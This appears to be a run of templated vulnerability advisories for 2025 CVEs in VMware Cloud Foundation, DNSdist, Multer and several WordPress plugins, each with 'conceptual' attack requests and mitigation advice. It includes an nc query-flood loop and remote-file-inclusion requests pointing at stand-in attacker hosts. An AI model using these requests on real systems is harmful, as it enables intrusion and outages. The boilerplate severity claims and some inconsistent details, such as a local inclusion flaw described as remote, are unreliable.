Author: Ameeba

Overview

The vulnerability CVE-2025-41230 is a significant cybersecurity concern for users of VMware Cloud Foundation. It is an information disclosure vulnerability that allows malicious agents with network access to port 443 to exploit the issue and gain access to sensitive system information. Given the ubiquity of VMware Cloud Foundation, this vulnerability could potentially impact a substantial number of systems and networks, leading to unauthorized information access and potential system compromise.

Vulnerability Summary

CVE ID: CVE-2025-41230
Severity: High – 7.5 (CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System Compromise, Data Leakage

Affected Products

Product | Affected Versions

VMware Cloud Foundation | All versions prior to the patched release

How the Exploit Works

The exploit takes advantage of a security lapse in VMware Cloud Foundation’s port 443. A malicious actor with network access can send specially crafted requests to this port to trigger the vulnerability and gain access to sensitive information. The information disclosed could potentially be used to compromise the system further or lead to data leakage.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited:

GET /sensitive-endpoint HTTP/1.1
Host: targetvmwarefoundation.com

The above is a simple request to a potentially vulnerable endpoint. In this case, the malicious actor does not need any special privileges or user interaction, making it a notably high-risk vulnerability.

Mitigation Guidance

Users of VMware Cloud Foundation are strongly advised to apply the vendor patch as soon as it becomes available. In the meantime, or if patching is not immediately possible, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation, offering some protection against attempts to exploit this vulnerability.

Overview

This report provides a detailed analysis of a critical vulnerability, CVE-2025-30193, in DNSdist. DNSdist is a highly DNS, DoS and abuse aware load balancer. This vulnerability affects all systems running unpatched versions of DNSdist and has significant implications, including the potential for system compromise or data leakage. It is vital for all users to understand the risks associated with this vulnerability and apply the necessary mitigation strategies.

Vulnerability Summary

CVE ID: CVE-2025-30193
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

DNSdist | All versions before 1.9.10

How the Exploit Works

The vulnerability arises when DNSdist is configured to allow an unlimited number of queries on a single, incoming TCP connection from a client. In such scenarios, an attacker can craft a TCP exchange that triggers an exhaustion of the stack and a subsequent crash of DNSdist. This crash results in a denial of service, which can potentially lead to system compromise or data leakage.

Conceptual Example Code

A conceptual example of exploiting the vulnerability involves sending a large number of queries on a single TCP connection. This could hypothetically look like this:

for i in {1..1000000}
do
echo "query $i" | nc target.example.com 53
done

This bash script sends a million queries to the DNSdist server, which, if configured to allow an unlimited number of queries, could lead to stack exhaustion and a crash.

Remediation Steps

Users are advised to upgrade to the patched 1.9.10 version of DNSdist. In the event where an upgrade is not immediately possible, a workaround is to restrict the maximum number of queries on incoming TCP connections to a safe value, like 50, via the setMaxTCPQueriesPerConnection setting.
Additionally, deploying a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation.
We would like to thank Renaud Allard for bringing this issue to our attention.

Overview

CVE-2025-47944 is a serious vulnerability in Multer, a middleware for Node.js, used in handling `multipart/form-data`. It affects versions 1.4.4-lts.1 and earlier, causing potential system compromise or data leakage. This vulnerability is significant due to its potential impact on system availability, should an attacker exploit it to trigger a Denial of Service (DoS) attack.

Vulnerability Summary

CVE ID: CVE-2025-47944
Severity: High (7.5 CVSS Score)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Multer Middleware for Node.js | 1.4.4-lts.1 and prior

How the Exploit Works

The vulnerability exists due to the way Multer processes malformed multi-part upload requests. An attacker can send a specially crafted multi-part upload request that triggers an unhandled exception in Multer, leading to a crash of the process. This results in a DoS situation, disrupting the availability of the service.

Conceptual Example Code

An attacker could potentially exploit this vulnerability by sending a malformed multi-part upload request as shown in the conceptual example below:

POST /upload/endpoint HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=badboundary
--badboundary
Content-Disposition: form-data; name="file"; filename="malicious_file"
Content-Type: application/octet-stream
{ "malicious_payload": "..." }
--badboundary--

In this hypothetical example, the `boundary` parameter within the `Content-Type` header is malformed, which could cause Multer to throw an unhandled exception and crash the process.

Overview

The vulnerability CVE-2025-47935 pertains to Multer, a node.js middleware for handling multipart/form-data. This vulnerability potentially affects all users of Multer that process file uploads. The issue arises from poor stream handling, leading to a resource exhaustion and memory leak, which could result in a denial of service and necessitate manual server restarts. This is a significant threat as it could result in potential system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-47935
Severity: High (7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Denial of Service, Potential System Compromise, Data Leakage

Affected Products

Product | Affected Versions

Multer | Less than 2.0.0

How the Exploit Works

The exploit takes advantage of a flaw in Multer versions prior to 2.0.0. When the HTTP request stream emits an error, the internal ‘busboy’ stream is not properly closed. This violates Node.js’ stream safety guidance. Over time, the accumulation of these unclosed streams leads to memory and file descriptor consumption, causing a resource exhaustion and memory leak. Under sustained or repeated failure conditions, this can result in a denial of service attack.

Conceptual Example Code

This conceptual example demonstrates a simple request that could trigger the vulnerability:

POST /upload HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious_file.txt"
Content-Type: text/plain
[Malicious content]
------WebKitFormBoundary7MA4YWxkTrZu0gW--

After this request, an error is emitted, leading to an unclosed stream, which if repeated could lead to a denial of service.

Overview

The CVE-2025-39451 is a critical cybersecurity vulnerability that affects the Crocoblock JetBlocks for Elementor plugin. This vulnerability, classified as a Missing Authorization flaw, can allow malicious actors to access functionalities that are not properly constrained by Access Control Lists (ACLs). Such a vulnerability could potentially compromise systems or leak sensitive data, posing a significant risk to websites using affected versions of the plugin.

Vulnerability Summary

CVE ID: CVE-2025-39451
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Crocoblock JetBlocks For Elementor | n/a – 1.3.16

How the Exploit Works

The CVE-2025-39451 vulnerability is caused by an oversight in the authorization process of the Crocoblock JetBlocks for Elementor plugin. This allows malicious users to bypass the ACLs and gain unauthorized access to certain functionalities. They can then manipulate these functionalities to compromise the system or extract sensitive data.

Conceptual Example Code

An attacker might exploit this vulnerability by sending a malicious HTTP request to the vulnerable endpoint, as demonstrated in the conceptual example below:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "bypass_acl" }

In the above example, “bypass_acl” is a placeholder for a real exploit code that manipulates the vulnerable functionality.

Mitigation Guidance

Users are strongly encouraged to apply the vendor patch as soon as it becomes available. In the meantime, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary mitigation against potential exploits.

Overview

The CVE-2025-39449 pertains to a missing authorization vulnerability in Crocoblock JetWooBuilder. This vulnerability could potentially lead to system compromise or data leakage, affecting versions up to and including 2.1.18 of JetWooBuilder. It’s a serious security flaw that requires immediate attention due to its ability to bypass Access Control Lists (ACLs).

Vulnerability Summary

CVE ID: CVE-2025-39449
Severity: High (7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Crocoblock JetWooBuilder | Up to and including 2.1.18

How the Exploit Works

The exploit takes advantage of the missing authorization checks in JetWooBuilder. This oversight allows malicious actors to access certain functionalities that should have been constrained by ACLs. With this unauthorized access, the attacker could potentially compromise the system or cause data leakage.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited. This could be done via a HTTP request, which might look something like this:

POST /jetwoobuilder/vulnerable_endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "payload_that_exploits_missing_authorization" }

Mitigation Guidance

The primary mitigation for this vulnerability is to apply the vendor patch. For temporary mitigation, users can use Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS).

Overview

This report delves into the details of a cybersecurity vulnerability identified as CVE-2025-39447, which affects the Crocoblock JetElements for Elementor, a plugin for WordPress. The vulnerability is critical as it pertains to Missing Authorization, which could potentially allow unauthorized access to certain functionalities that are not properly constrained by Access Control Lists (ACLs).

Vulnerability Summary

CVE ID: CVE-2025-39447
Severity: High (7.5 on the CVSS scale)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthorized access to restricted functionalities, potential system compromise, or data leakage

Affected Products

Product | Affected Versions

Crocoblock JetElements for Elementor | Versions up to and including 2.7.4.1

How the Exploit Works

The vulnerability stems from improper access control within the JetElements for Elementor plugin. An attacker could exploit this by sending specially crafted network requests to the affected system. Due to the lack of proper authorization checks, the attacker could potentially gain access to functionalities that should be restricted, compromising the security of the system and potentially leading to data leakage.

Conceptual Example Code

The vulnerability could potentially be exploited using a simple HTTP request, similar to the conceptual example given below:

GET /restricted/endpoint HTTP/1.1
Host: target.example.com

This request could, in theory, allow an attacker to gain unauthorized access to restricted functionalities due to the lack of proper authorization checks in place.

Mitigation Guidance

The recommended course of action to mitigate this vulnerability is to apply the vendor patch once it becomes available. In the meantime, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary mitigation method, providing an extra layer of security and potentially blocking any attempts to exploit the vulnerability.

Overview

This report discusses CVE-2025-39411, a significant vulnerability in the Indie_Plugins WhatsApp Click to Chat Plugin for WordPress. This vulnerability, stemming from an improper control of filename for Include/Require Statement in PHP Program (‘PHP Remote File Inclusion’), leaves systems open to potential compromise and data leakage. It is particularly worrisome due to the popularity and widespread use of WordPress plugins.

Vulnerability Summary

CVE ID: CVE-2025-39411
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Indie_Plugins WhatsApp Click to Chat Plugin for WordPress | n/a through 2.2.12

How the Exploit Works

The vulnerability arises from the improper control of filename for Include/Require Statement in a PHP Program. An attacker can manipulate the filename, leading to the remote inclusion of files from external servers. This allows for arbitrary code execution on the server side, which can result in a system compromise or data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This does not represent an actual exploit code but serves to illustrate the concept.

POST /wp-content/plugins/whatsapp-click-to-chat/filename.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
filename=http://malicious.example.com/malicious_file.php

In the above example, an attacker sends a POST request to the vulnerable endpoint, specifying a malicious PHP file hosted on their server as the filename. The server then includes this file and executes the malicious code.

Mitigation

As of now, the best way to mitigate this vulnerability is to apply the vendor patch. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. This should, however, be considered a temporary solution until the patch can be applied.

Overview

This report details the critical vulnerability CVE-2025-39396, a PHP Local File Inclusion vulnerability found in Crocoblock JetReviews. This vulnerability could potentially allow attackers to include files from remote servers, leading to a compromise of the system or a data leakage. Given the potential severity, it is crucial for organizations to understand the risks and apply necessary mitigations promptly.

Vulnerability Summary

CVE ID: CVE-2025-39396
Severity: High (CVSS 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Crocoblock JetReviews | Up to and including 2.3.6

How the Exploit Works

The vulnerability arises due to improper control of filename for Include/Require statement in the PHP program of JetReviews. An attacker can manipulate this vulnerability by providing a URL pointing to a malicious PHP script hosted on a remote server. The script will then be executed in the context of the application, leading to a potential system compromise or data leakage.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. This could be a URL request carrying the malicious payload.

GET /vulnerable/endpoint?file=http://attacker.example.com/malicious_script.php HTTP/1.1
Host: target.example.com

Mitigation

Organizations are advised to apply the vendor patch as soon as possible. As a temporary mitigation, Web Application Firewalls (WAFs) or Intrusion Detection Systems (IDS) can be used to block attempts to exploit this vulnerability. Regular monitoring of system logs for any suspicious activity is also recommended.

Overview

The vulnerability, CVE-2025-26735, is a severe flaw identified in the Candid Themes Grip, specifically affecting versions through 1.0.9. This PHP Remote File Inclusion vulnerability has serious implications, potentially compromising systems and causing data leakage. Cybersecurity professionals, system administrators, and users of Candid Themes Grip should be aware of this vulnerability, as it poses a significant risk to the integrity, confidentiality, and availability of their systems.

Vulnerability Summary

CVE ID: CVE-2025-26735
Severity: High (7.5 CVSS Score)
Attack Vector: Remote, via network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Candid Themes Grip | Versions through 1.0.9

How the Exploit Works

The exploit works by taking advantage of the improper control of a filename in PHP’s Include/Require statement. By injecting a malicious filename, an attacker can remotely include a file from a remote server. This allows the attacker to execute arbitrary PHP code, potentially compromising the system or leading to data leakage.

Conceptual Example Code

An attacker might exploit this vulnerability through a malicious HTTP request that includes a remote file. Here’s a conceptual example:

GET /index.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: target.example.com

In this example, `malicious_file.php` is a file on the attacker’s server which contains malicious PHP code. If the target server processes this request, it could include and execute the malicious file, leading to a potential system compromise.